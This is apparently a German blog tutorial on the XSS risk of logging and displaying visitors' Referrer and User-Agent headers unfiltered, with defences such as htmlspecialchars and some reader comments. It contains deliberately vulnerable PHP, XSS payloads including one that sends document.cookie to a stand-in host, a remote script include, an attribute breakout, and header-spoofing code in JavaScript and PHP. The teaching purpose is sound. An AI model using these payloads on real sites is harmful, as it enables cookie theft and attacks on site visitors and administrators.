Hier werden die Gefahren beschrieben, die es mit sich bringt, wenn man unbedacht die Referer oder die User Agents seiner Besucher listet, oder ein Tool verwendet welches diese ungefiltert ausgibt.
Es wird auf mögliche Angriffe eingegangen aber genauso auf wirksame Gegenmaßnahmen.
Einführung
Definition Referrer
Ein Referrer bzw. HTTP-Referrer ist eine URI die in einer Anfrage enthalten ist und anzeigt, von welcher Seite ein Besucher auf die aktuelle Seite gelangt ist. Klickt z.B. ein User auf ein Suchergebnis von Google, enthält der Referrer die URL der Ergebnisseite auf welcher der Link gelistet war. Der Referrer ist als Klartext im Header enthalten.
So sieht z.B. der Referrer aus von http://www.tagesschau.de, wenn man auf Google.de nach “aktuelle Nachrichten” gesucht, und anschließend den Link angeklickt hat:
http://www.google.de/url?sa=t&source=web&ct=res&cd=1&ved=0CA0QFjAA&url=http%3A%2F%2Fwww.tagesschau.de%2F&rct=j&q=aktuelle+nachrichten&ei=UmNgS97jCNmh_AaSyJCEDA&usg=AFQjCNFgb7FEyZN6_A6xrb7JJ0h3FlOG4A&sig2=Kj7fSSL5_OvR2TNNT0n6-Q

Im Opera kann man den Referrer mit Boardmitteln deaktivieren. Mehr Informationen findet man in der Opera Knowledge Base unter "Disabling referrer logging".
Aus folgenden Gründen wird der Referrer verwendet:
- Tracking
Es kann interessant sein zu wissen, von welcher Seite die Besucher auf die eigene Seite gelangen (Marketing) - SEO (Search Engine Optimization)
Oft kann man an Hand des Referrers ermitteln, ob und wenn ja über welche Suchmaschine der User auf die Seite gekommen ist.
Auch können häufig die Suchbegriffe extrahiert werden. - “Sicherheit”
Manche Seiten prüfen ob der Referrer einen bestimmten Wert entspricht. So soll sichergestellt werden, dass der Besucher nicht von einem externen/unerwünschten Webangebot auf die Seite verlinkt wurde. Da sich der Referrer jedoch leicht fälschen lässt, ist dies höchstens als Hürde, aber nicht als eine Barikarde zu sehen.
Hinweis: Es heißt Referrer und nicht Referer. Durch einen Rechtschreibfehler in einer RFC (RFC 2068 – HTTP/1.1), ist aber bis heute auch die zweite, falsche Schreibweise verbreitet (z.B. in PHP). Auch wird das Datum im Header über Referer (ein r) statt über Referrer angesprochen, in anderen Bereichen – z.B. Javascript – wurde dies wieder korrigiert.
Referrer emitteln
Referrer in PHP ermitteln:
echo "Referrer: ".$_SERVER['HTTP_REFERER'];
Referrer in Javascript ermitteln:
document.write("Referrer: " + document.referrer);
Weitere Möglichkeiten:
Es kann aber auch über das Modul mod_log_referer bei dem Webserver Apache der Referrer direkt in die Logs geschrieben. Für andere Webserver stehen ebenfalls entsprechende Erweiterungen zur Verfügung.
Referrer unterdrücken
Viele Security-Tools wie Firewalls oder Virenscanner haben eine Option, die den Referrer automatisch entfernt. Von den Herrstellern wird hierdurch eine höhere Anonymität versprochen, was natürlich nur begrenzt der Wahrheit entspricht.
Auch kann Software von Haus aus den Referrer unterdrücken, z.B. der Opera (siehe Screenshot), aber auch der Firefox. Um den Referrer im Firefox zu unterdrücken, sind Änderung in der about:config bzw. am user.js notwendig. Weitere Informationen findet man im FirefoxWiki unter “Referer”.
Darüber hinaus gibt es Möglichkeiten von den Links z.B. der eigenen Homepage den Referrer zu entfernen. Ein solchen Service bietet unter anderem anonym.to. Hier können einzelne Links, oder durch das Einbinden eines Javascripts, alle Links auf der Seite dereferred werden.
Definition User Agent
Der User Agent enthält Informationen über den Client. Folgende Daten können aus dem User Agent ermittelt werden:
- Betriebssystem
- Version des Betriebssystem
- Sprache (nicht immer gegeben)
- Browsername
- Version des Browsers
Hier beispielhaft verschiedene User Agent-Strings unter Windows 7
- Firefox 3.6:
Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2) Gecko/20100115 Firefox/3.6 - Google Chrome 3.0.195.38
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.38 Safari/532.0 - Internet Explorer 8
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.3)
Unter http://www.user-agents.org/findet man eine ausführliche Liste, welche aufzeigt, bei welchem String es sich um einen Browser, Crawler bzw. Bot handelt.
Über mehr oder weniger umfangreiche Scripts, kann man dann komfortabel auf bestimmte Eigenschaften zugreifen. Eine objektorientierte Verarbeitung des User Agent-Strings ist so z.B. mit der Javascript-Klasse Browserdetect von quirksmode möglich.
Durch diese Daten kann man z.B. ermitteln welche Sprache die User sprechen (genauer: welche Sprache beim Browser als Standardsprache eingestellt ist) und somit auf das Land schließen (hierfür eignet sich aber besser die IP-Adresse). Weiter kann man ableiten welche Funktionen der Browser unterstützt: ist der Internet Explorer in Version 8 stark vertreten, sollten man z.B. über die Einführung von Webslices nachdenken, aber auf SVG verzichten.
User Agent ermitteln
User Agent in PHP ermitteln:
echo "User Agent: ".$_SERVER['HTTP_USER_AGENT'];
User Agent in Javascript ermitteln:
document.write("User Agent: " +navigator.userAgent);
Auch hier sind auch für die Serverseite Lösungen für die verschiedensten Webserver vorhanden.
User Agent unterdrücken
Der User Agent wird per default nicht unterdrückt und die Main-Browser (IE, Firefox, Opera, Safari) bieten von Haus aus auch keine direkte Option dies durchzuführen. Beim Firefox hilft erneut der FirefoxWiki weiter, wie man den User Agent ändert.
Warum kann der User Agent / Referrer eine Gefahr sein?
Wie wir wissen, werden die Daten auf der Userseite festgelegt. Durch Headermanipulation kann der User nun jede beliebige Zeichenkette schicken – deshalb gilt auch hier das oberste Gesetz bei der Softwareentwicklung: Never trust userdata.
Stellen wir uns zur verdeutlichung folgendes vor:
Ein Seitenbetreiber setzt folgendes Script bei sich ein um alle Besucher seiner Seite mit Uhrzeit, User Agent und Referrer in einer Datenbank zu loggen (auf Fehlerbehandlung der Datenbankverbindung wurde verzichtet):
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];
$database = new SQLiteDatabase("mylog.db", 0666, $error);
// Schreibe User Agent und Referrer in Datenbank
$database->query("INSERT INTO visitor_log (tsp,user_agent,referrer)
VALUES (" . time() . ",'" . sqlite_escape_string($user_agent) . "', '"
. sqlite_escape_string($referrer) . "')");
// Lese letzte 10 Eintraege
$query = $database->query("SELECT * FROM visitor_log ORDER BY tsp DESC LIMIT 10",
SQLITE_ASSOC, $query_error);
$visitorData = array();
while ($row = $query->fetch()) {
array_push($visitorData, $row);
}
Die gesammelten Daten werden auf der Seite gefolgt ausgegeben:
print("Die letzten 10 Besucher:");
print("<ul>");
foreach ($visitorData as $data) {
print("<li>");
print("Um " . date("H:i:s", $data['tsp']) . " Besucher ");
// Referrer nur ausgeben wenn vorhanden
($data['referrer'] ? print(" von " . $data['referrer'] . " ") : "");
print("mit " . $data['user_agent']);
print("</li>");
}
print("</ul>");
Dies funktioniert natürlich fehlerfrei und erfüllt seinen Zweck, jedoch ist es anfällig für XSS: was wäre wenn der User die Daten für den Referrer / User Agent manipuliert, und z.B. folgendes als Referrer schickt:
<h1>Achtung:</h1> <a href="http://www.example.org">umbedingt hier klicken</a>
<script>alert('HAHA, danke fuer dein Cookie!');
location.replace('http://example.com?c='+document.cookie);</script>
Die möglichen Angriffe sind endlos. Der Angreifer könnte auch Code einbinden, der die zukünftigen (10) Besucher angreift oder über CSS eine DIV über die Seite legen und so seine gewünschten Inhalte anbieten.
Hinweis: Der Referrer und User Agent müssen in einer Zeile stehen. Aus Platzgründen wurde bei dem obigen zweiten Beispiel ein Umbruch eingefügt.
Weitere theoretische Angriffsvarianten
Das obige ist zugegeben nicht oft auffindbar – weit häufiger jedoch, dass der Seitenbetreiber ein Analysetool verwendet, um die Seitenzugriffe zu protokollieren (z.B. Google Analytics).
Für die folgenden Angriffsvarianten gehen wir von einem fiktiven Analysetool aus, welches bestimmte “Programmierfehler” besser Sicherheitslücken aufweist.
Unsaubere Auswertung der Suchbegriffe
Im Kapitel Referrer wurde gezeigt, dass wenn ein Besucher von Google auf uns gelangt, wir seine Suchbegriffe extrahieren können. Hierfür bietet sich z.B. der folgende Code-Schnipsel an:
$parse_url = parse_url($referrer);
parse_str($parse_url['query'], $uri_elements);
$keywords = $uri_elements['q'];
print("Auf google.de wurde nach: \"$keywords\" gesucht.");
Hier kann ein Angreifer einen Referrer schicken mit dem Aufbau
http://www.google.de?q=<XSS>
und somit jeden beliebigen Code innerhalb des Auswertungstools ausführen. Auch listen Seiten oft “Die letzten 10 Suchbegriffe” oder vergleichbares womit eine Attacke auf der Seite möglich wäre.
Fehlerhafte URLs
Gehen wir davon aus, der User setzt ein CMS ein, dass protokolliert, welche Seiten aufgerufen wurden, insbesondere die Seiten welche nicht existieren. Diese Funktion ist sinnvoll, um z.B. nachzuvollziehen ob auf der eigenen HP ein fehlerhafter Link vorhanden ist welcher auf index.html statt auf index.htm verweist.
Beispiel:
Auf dem Server ist folgende Dateistruktur gegeben, wobei jede Datei direkt vom Browser aufgerufen werden kann:
http://www.example.org
- index.html
- files/
- index.html
- page1.html
- page2.html
- images/
- logo.gif
Ein Besucher ruft nun die URI
http://www.example.org/files/page3.html
auf, welche nicht existiert. Das CMS loggt daraufhin “/files/page3.html nicht gefunden” in einer Datei, welche vom Administrator eingesehen werden kann. Die Schwachstelle ist nun, dass der Besucher z.B. folgenden Link aufruft
http://www.example.org/files/<script>alert("Dein Cookie: "+document.cookie);</script>
woraufhin folgendes geloggt wird: “/files/<script>alert(“Dein Cookie: “+document.cookie);</script> nicht gefunden”. Der JS-Code wird interpretiert und somit ist auch wieder XSS möglich.
Sprache (als Teil vom User Agent faken)
Ein weiteres Szenario: aus dem User Agent wird die Sprache über ein Regex extrahiert und dann ausgegeben. Der Regex filtert vom 3. bis zum 4. Semikolon.
// z.B. Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2) Gecko/20100115 Firefox/3.6
$string = $_SERVER['HTTP_USER_AGENT'];
$pattern = '/\(([^;]+;){1,3}([^;]+)/i';
preg_match_all($pattern, $string, $match);
echo "Browser hat " . $match[2][0] . " als Standardsprache.";
Hier kann man z.B. folgenden User Agent senden, um XSS einzuschleusen:
Mozilla/5.0 (Windows; U; Windows NT 6.1; <script>alert('XSS')</script>; rv:1.9.2) Gecko/20100115 Firefox/3.6
Diese Javascript-Anweisung funktioniert auch ohne Semikolon. Über
<script src="http://example.org/evilFile.js"></script>
können auch komplette Scripte nachgeladen werden.
Oft findet man auch die Darstellung in Flaggen, z.B.
<img src="img/flag/<lang>.gif" />
Hier muss dass XSS angepasst werden, damit man aus dem img-Tag ausbrechen kann:
"><script>alert('XSS');</script>
Daraus ergibt sich bei der interpretierten Seite
<img src="img/flag/ "><script>alert('XSS');</script> .gif" />
Wie man sieht, stehen also bei der Sprache auch verschiedene Angriffsvarianten zur verfügung. Userdaten sollten also von Beginn an entsprechend gesichert sein, auch wenn man nur einen Teil aus den Daten verwendet.
Finden von potentiellen Schwachstellen…
Jeder sollte prüfen, ob sich auf seinem Webauftritt eine solche Schwachstelle befindet. Zum aufspüren bieten sich folgende drei Methoden an:
- öffentlich, es ist offensichtlich
- Quellecodeanalyse, eine kurze Analyse zeigt eine Schwachstelle auf
- “Auf gut Glück”
, “try on error”
Öffentlich
Es findet eine Ausgabe von Referrer-Date oder User Agent-Daten direkt auf der Seite statt, oft in der Form “Die letzten 10 Besucher kommen von…” oder “häufigster Browser” (hier kann man einen gefakten Browser schicken, und so in die Liste gelangen).
Hier ist natürlich langes Suchen nicht notwendig und ein Angreifer kann sofort beginnen Attacken zu starten.
Quellcodeanalyse
Bei dieser Variante betrachtet man den HTML-Code von mehreren Webseiten. Hier sucht man nach einer Grafik (oft eine 1x1px) oder einem Javascript, dessen Namen auf eine Analyse-/ Protokoll-Software schließen lässt.
Am besten lädt man sich diese Software herunter und installiert sie. So kann man Sie auf Schwachstellen testen, die ggf. dann auf der eigenen Seite ausgeführt werden können.
“Auf gut Glück”
Webseitenbetreiber setzten natürlich auch selbst geschriebene Lösungen ein (siehe “Fehlerhafte URLs”). Hier kann ein Angreifer nur durch Probieren eine Lücke ausnutzen.
Auch kann der Admin allgemein verfügbare Tools einsetzen, dessen Verwendung nicht ersichtlich ist. So nimmt z.B. das Tool Webalizer Statistik-Auswertungen direkt auf den Apachelogs vor. Hier besteht aber auch wieder die Gefahr, dass z.B. der User Agent in der Software direkt ausgegeben wird und so ein Angreifer “unbewusst” durch senden von XSS im User Agent dann zum Ziel gelangt, sobald eine Person die Statistiken betrachtet.
… und beseitigen
Never trust userdata.
Daten die von außen kommen, sollten immer entsprechend behandelt werden. Hierfür bieten sich in PHP folgende Funktionen an:
- string htmlspecialchars ( string $string [, int $quote_style = ENT_COMPAT [, string $charset [, bool $double_encode = true ]]] )
Wandelt bestimmte Zeichen, z.B. <,> in HTML-Codes um (<, >) - string strip_tags ( string $str [, string $allowable_tags ] )
Entfernt komplett die Tags aus einem String (<b>Hallo<b/> => Hallo)
Ruft man diese Funktionen auf -am besten bevor man die Werte in die DB schreibt (und nicht erst bei der Ausgabe)- sind die obigen Angriffe wirkungslos.
Ein weitere Möglichkeit ist natürlich, komplett auf eine öffentliche Ausgabe zu verzichten. Hier muss dann aber das Analyzertool wo ggf. auf die Daten zugreift entsprechend abgesichert sein.
Faken von Headerdaten (Referrer, User Agent)
Die Daten werden über einfache Header gesendet und können so sehr leicht manipuliert werden. Hier verschiedene Implementierungen
über Ajax / Referrer, User Agent in Javascript fälschen
function spoofReferrerAndUserAgent(targetUrl, referrer, userAgent)
{
var addHeader = new Array();
// Scheint nicht zu funktionieren
/*
if(referrer!='')
{
addHeader.push('Referer');
addHeader.push(referrer);
}
*/
if(userAgent!='')
{
addHeader.push('User-Agent');
addHeader.push(userAgent);
}
new Ajax.Request(targetUrl, {
method: 'get',
requestHeaders: addHeader
});
}
Hinweis: Wie man dem Kommentar entnehmen kann, ist es nicht gelungen durch das obige Javascript eine Referrer zu fälschen. Warum es nicht funktioniert ist mir leider nicht bekannt für einen Hinweis wäre ich dankbar.
Man kann jedoch über den Ajax-Call ein PHP-Script aufrufen, welches die Daten sendet (siehe unten).
über PHP / Referer, User Agent in PHP fälschen
function fakeHeader($url, $referrer="", $userAgent="", $readOutput=false)
{
$ret = "";
$url_elements = parse_url($url);
$fp = fsockopen($url_elements["host"], 80);
fputs($fp, "GET " .$url_elements["path"]. " HTTP/1.1\r\n");
fputs($fp, "Host: " .$url_elements["host"]. "\r\n");
if($userAgent)
{
fputs($fp, "User-Agent: " .$userAgent. "\r\n");
}
if($referrer)
{
fputs($fp, "Referer: " .$referrer. "\r\n");
}
// Header fertig
fputs($fp, "\r\n");
if($readOutput)
{
while(!feof($fp)) {
$ret .= fgets($fp, 128);
}
}
fclose($fp);
return $ret;
}
über Plugins (Firefox)
Für den Mozilla Firefox ist eine Fülle von Add-ons vorhanden – auch zur Manipulation des User Agents / Referrers. So kann z.B. mit dem Add-on User Agent Switcher jeden beliebigen User Agent String senden:
Über Add-ons wie RefControl kann wiederum festgelegt werden, welcher Referrer an welche Seite geschickt werden soll.
Auch gibt es Tools wie Live HTTP Headers mit welchen individuelle Header an Seiten geschickt werden können. Hier ist aber ein etwas tieferes Verständnis notwendig.
Telnet
Über Telnet können die obigen Header ebenfalls geschickt werden und eignet sich somit auch um die Daten zu spoofen.
Epilog
In diesem Artikel wurde aufgezeigt, wie leicht es ist, Browserdaten zu fälschen und welche Auswirkungen dies haben kann. Man sollte ich sich prinzipiell folgende Gedanken machen:
- Woher kommen die Daten?
- Datenbank, Textdatei, Usereingabe
- Können die Daten verfälscht werden?
- Werden die fehlerhaften Daten abgefangen, wer kann wie die Daten ändern
- Welche Werte können die Daten annehmen?
- Freie Eingabfelder oder durch Datenbank fester Typ (z.B. int) vorgegeben
- Wie reagiert meine Applikation auf potentiell verfälschte Daten?
- Absturz, Einschleusen von Code möglich, Filter vorhanden
- Was ist der Worst Case bei gezieltem Spoofing?
- Angenommen der Angreiffer kennt genau den Code, wie würde ein gezielter Angriff aussehen
Vorsicht ist besser als Nachsicht: durch ein triviales htmlspecialchars ist schon so mancher Angreifer unglücklich geworden.
Szenario





Hii,
hast Du rausgefunden, warum Variante 1 nicht geht?
Hallo, ersteinmal danke für den Artikel, meinem Vorredner schliesse ich mich an, mich würde es auch interessieren
Hy,
der Grund warum es nicht funktioniert, ist Sicherheit. Weitere Informationen findet man hier: https://wiki.mozilla.org/Cross_Site_XMLHttpRequest
Grüße
Danke für den Artikel, habe meine Seite erstmal abgesichert. Der Tatbestand war mir bislang so nicht bekannt.